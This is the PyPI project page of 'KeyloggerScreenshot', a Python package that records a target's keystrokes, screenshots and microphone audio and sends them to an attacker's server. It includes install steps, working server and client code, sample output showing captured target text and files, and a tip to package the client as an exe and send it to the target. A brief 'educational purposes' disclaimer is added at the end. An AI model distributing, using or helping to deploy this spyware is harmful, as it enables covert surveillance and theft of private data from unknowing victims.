Exporting Keyloggers files, audio and screenshots of the target. For more information check out my website:https://pypi.org/project/KeyloggerScreenshot/
Project description
KeyloggerScreenshot
Created by: Fawaz Bashiru
KeyloggerScreenshot allows the attacker to get all the information the target was typing and taking screenshot of specific minutes which is being calculated in the script and all the audio of the target was speaking will be stored where your server is located. Follow the instructions to build your own server in "KeyloggerScreenshot"
To install KeyloggerScreenshot simply type:
pip install KeyloggerScreenshot
In your terminal
HOW DOES KeyloggerScreenshot WORK?
This module can be used in Windows and Linux
The servers can now be run in the same file with the module threading
The port number for each server should be different
The server should obviously be run before the client
For example:
Servers
#EveryServer.py:
import KeyloggerScreenshot as ks
import threading
ip_photos, port_photos = "127.0.0.1", 1111
server_photos = ks.ServerPhotos(ip_photos, port_photos)
ip_keylogger, port_keylogger = "127.0.0.1", 2222
server_keylogger = ks.ServerKeylogger(ip_keylogger, port_keylogger)
ip_listener, port_listener = "127.0.0.1", 3333
server_listener = ks.ServerListener(ip_listener, port_listener)
ip_time, port_time = "127.0.0.1", 4444
server_time = ks.Timer(ip_time, port_time)
threading_server = threading.Thread(target=server_photos.start)
threading_server.start()
threading_server2 = threading.Thread(target=server_keylogger.start)
threading_server2.start()
threading_server3 = threading.Thread(target=server_listener.start)
threading_server3.start()
threading_server4 = threading.Thread(target=server_time.start_timer)
threading_server4.start()
Every screenshots, photos and audio files will be saved locally where your server is located
Client_Target
#client_target.py
import KeyloggerScreenshot as ks
key_client = ks.KeyloggerTarget("127.0.0.1", 1111, "127.0.0.1", 2222, "127.0.0.1", 3333,"127.0.0.1", 4444)
key_client.start()
Output
"""
Cyan: ServerPhotos
Blue: ServerKeylogger
Green: ServerListener
White: Timer
Waiting for connection....Waiting for connection...
Waiting for connection...
Connection has been established with the ip 127.0.0.1
Time left: 02:59
Connection has been established with ('127.0.0.1', 63822)
Time left: 00:01Connection has been established with ('127.0.0.1', 63842)
Successful connection for 3 minutes and 20 seconds
"Audio of target.wav" has been saved to your directory
Connection has been established with ('127.0.0.1', 63843)
Text of target: Hello this is a test 123. 123 Nice it works have fun guys
1 Image have been saved to your working directory
Waiting for connection...
Connection has been established with ('127.0.0.1', 63824)
2 Images has been saved to your working directory
Waiting for connection...
Connection has been established with ('127.0.0.1', 63825)
3 Images has been saved to your working directory
Waiting for connection...
Connection has been established with ('127.0.0.1', 63829)
4 Images has been saved to your working directory
Waiting for connection...
Connection has been established with ('127.0.0.1', 63841)
5 Images has been saved to your working directory
Waiting for connection...
"""
Your current directory
Additional
-
You can send "client_target.py" as an exe file to the target with "auto-py-to-exe"
-
KeyloggerScreenshot is very easy to use.
-
DO NOT USE THIS TO ATTACK SOMEONE FOREIGN. I BUILD IT FOR EDUCATIONAL PURPOSES.
Change Log
0.0.1 (14/10/2022)
- First Release
0.0.2 (15/10/2022)
- Bug Fixes
0.0.3 (15/10/2022)
- Bug Fixes
0.0.4 (17/10/2022)
- New features (Audio Recorder from target, All Servers in one file)
- Bug Fixes
- Detailed review of the code
0.0.5 (18/10/2022)
- Better audio connection
- Bug Fixes
0.0.6 (19/10/2022)
- New Timer Class
- Better Output on Terminal
- More efficient connection
- More Ports and IP's
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Hashes for KeyloggerScreenshot-0.0.6.tar.gz
Algorithm | Hash digest | |
---|---|---|
SHA256 | a75ea91926b5391e15e740bb716ba35df9acef4656c6af0f8f36f4e67186ed8e |
|
MD5 | 72394608a13160e71bace7d2e709b9d1 |
|
BLAKE2b-256 | 521815c0fe3d8476881e3a5c7887bc26b55416671b2bbf8469ed8f6bb6da87ce |